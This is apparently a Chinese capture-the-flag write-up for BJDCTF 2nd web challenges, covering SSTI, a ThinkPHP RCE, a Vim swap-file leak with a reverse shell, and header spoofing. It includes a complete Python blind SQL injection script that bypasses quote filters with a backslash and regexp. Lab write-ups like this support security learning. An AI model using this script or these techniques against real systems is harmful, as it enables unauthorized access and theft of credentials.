【BJDCTF 2nd—Web】做题+复现记录
fake google
隨便輸入然后查看源代碼發現
ssti,應該是服務器模板注入,查了一個payload直接就可以查到flag
其實詳細的做法應該是先去判斷漏洞點,因為這里輸入就回顯,而且不是php,所以就要去猜想是不是ssti,這里出題師傅也給出提示,就是ssti,接下來判斷是什么模板引擎
{{ }}在jinja2中為變量包裹標識符,試一下{{config}}發現有回顯,判斷是jinja2模板
接下來看一下根目錄
接下來讀一下flag即可
除此之外,還可以使用Tplmap工具來做這道題
工具介紹
old-hack
thinphp5,百度查了一下漏洞,隨便拉一個payload試試
報錯發現thinkphp版本是5.0.23,直接查詢對應的RCE代碼
繼續讀取即可
duangShell
提示了是.swp備份文件,所以是Vim文件泄露
使用vim打開
vim -r index.php.swp
過濾很多,而且最后執行的函數是exec,這個函數是無回顯的,所以首先想到反彈shell,使用
觸發反彈shell
看題目說明
在靶機中寫入反彈shell的語句
觸發反彈shell
連接成功
接下來找flag就行了,flag在etc目錄下
簡單注入
先FUZZ一下,看看都過濾了哪些東西
發現單引號、雙引號、=都被ban了,而且select也被ban了,這就要想其他方法了注入了,發現regexp沒有被ban,可以嘗試一下。
那接下來就要想怎么使用regexp注入了,假設語句是這樣的
select username,password from user where username='$user' and password='$pass'那單引號都被ban了,怎么去繞過,查看剛才FUZZ的測試,發現\沒有被ban,所以可以使用反斜線去將單引號轉義,實現SQL語句逃逸,從而導致SQL注入。
select username,password from user where username='admin\' and password='or 1#'既然知道了如果繞過了,就使用regexp布爾盲注,腳本如下:
import string import requestsdef ord2hex(string):result = ''for i in string:result += hex(ord(i))result = result.replace('0x','')return '0x'+resulturl = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' } #數字+字母字典 dict = string.ascii_letters + string.digits temp = '' for j in range(50):for i in dict:passwords = ord2hex('^'+temp+i)payload = "or password regexp binary {}#".format(passwords)data = {'username': 'admin\\','password': payload}reponse = requests.post(url=url,headers=headers,data=data)# print(reponse.text)if 'BJD needs' in reponse.text:temp = temp + iprint(temp.ljust(40, '.'))break這里解釋一下,之所以payload中regexp后要加binary,是因為題目提示了區分大小寫
MySQL中的正則表達式匹配不區分大小寫。
為區分大小寫,可使用BINARY關鍵
還有就是之所以使用ord2hex()這個函數,是因為我們要使用正則表達式^去匹配密碼,但單引號會被ban,所以轉換成16進制,而16進制在SQL執行時會自動變成字符。
感謝Y1ng師傅的解答
假豬套天下第一
一個登陸框,使用萬能密碼能夠登進去,但什么也沒有發現,在用burp抓包的時候發現是302跳轉
進入看一下
之前做過一道題也是考這種設置時間的,看到Expires
一直以為是在這里做修改,還是不熟悉這個參數的意思
Expires 表示存在時間,允許客戶端在這個時間之前不去檢查(發請求)
觀察請求頭的COOKIE中包含了time的時間戳,提示是過99年,那就將當前時間戳加99年試試
這樣第一層就繞過去了,發現下面的提示是localhost,修改XFF
會發現過濾掉了這個XFF,那可以使用Client-IP或者X-Real-IP代替XFF即可
考察Referer,添加即可
添加之后,又出來一個Commodo 64這個,搜索一下
是一種老式電腦系統叫Commodore 64,所以這個應該是標識,修改UA即可
修改好之后,又出現一個emali,查資料發現
添加From
關鍵字代理,再查查資料
base64解碼即可
HTTP Header 詳解
Schro?dinger
一開始一臉懵,不知道要干啥,抓包發現test.php頁面
用戶名為admin,讓我們去得出密碼,這里一開始以為是布爾盲注或時間盲注的,FUZZ測試等都不行,就猜想可能是這個爆破密碼,但也不對,回頭看首頁
把剛才需要輸入密碼的連接在首頁input,爆出密碼
出現這些,點一下check會失敗,抓包發現有一個cookie很特別
base64解碼是一串數字1585230828,應該是時間戳,在線轉換下
確實是,然后又就以為是又要去查找這兩個參數
結果沒弄出來,就看了師傅的WP,發現把這個COOKIE置空再檢查即可
B站查AV號,后面的也是時間戳,查對應的時間即可查出flag
總結
以上是生活随笔為你收集整理的【BJDCTF 2nd—Web】做题+复现记录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP反序列化—构造POP链
- 下一篇: 【MRCTF—Web】做题+复现记录